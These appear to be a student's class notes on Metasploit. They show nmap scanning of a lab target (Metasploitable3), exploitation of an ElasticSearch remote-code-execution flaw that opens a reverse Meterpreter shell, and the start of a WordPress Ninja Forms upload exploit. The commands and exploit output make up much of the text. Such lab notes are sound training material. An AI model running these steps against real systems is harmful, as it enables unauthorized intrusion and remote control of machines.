125 lines
3.8 KiB
Markdown
125 lines
3.8 KiB
Markdown
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> service postgresql start
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> systemctl status postgresql
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> msfdb init
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start the metasploit
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> msfconfole
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show exploits
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Examples:
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> info exploit/something
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> search cve:2019
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## Basic theory
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There are vulnerabilities and payloads.
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Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
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You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
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# Notes for Class
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Victim: 172.18.3.26
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> nmap -Pn -sV 172.18.3.26 --script=vuln
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> nmap -Pn -sV 172.18.3.26
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Output:
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```
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Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
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Nmap scan report for 172.18.3.26
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Host is up (0.016s latency).
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Not shown: 988 filtered ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp Microsoft ftpd
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22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
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80/tcp open http Microsoft IIS httpd 7.5
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4848/tcp open appserv-http?
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8022/tcp open oa-system?
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8080/tcp open http Sun GlassFish Open Source Edition 4.0
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8383/tcp open ssl/m2mservices?
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9200/tcp open tcpwrapped
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49153/tcp open unknown
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49154/tcp open unknown
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49159/tcp open unknown
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49161/tcp open tcpwrapped
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1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
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SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
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SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
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SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
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SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
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MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
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Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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```
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Note this one:
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`9200/tcp open tcpwrapped`
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Apparently that's 'elasticsearch', so in metasploit we can do:
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`search elasticsearch`
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```
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# Name Disclosure Date Rank Check Description
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- ---- --------------- ---- ----- -----------
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0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
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1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
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2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
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3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
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4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
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```
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If you want to use 2, `use 2` or `use/multi/ela` then tab out.
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> show options
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> set rhost 172.18.3.26
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The remote port's already set at this point.
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We've so far done use, rhost, and port.
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> exploit
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```
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[*] Started reverse TCP handler on 172.18.3.112:4444
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[*] Trying to execute arbitrary Java...
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[*] Discovering remote OS...
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[+] Remote OS is 'Windows Server 2008 R2'
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[*] Discovering TEMP path
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[+] TEMP path identified: 'C:\Windows\TEMP\'
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[*] Sending stage (53845 bytes) to 172.18.3.26
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[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
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[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
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```
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> dir
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# Next Wordpress
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http://172.18.3.26:8585/wordpress/
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Back to normal shell.
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> search wordpress ninja
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> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
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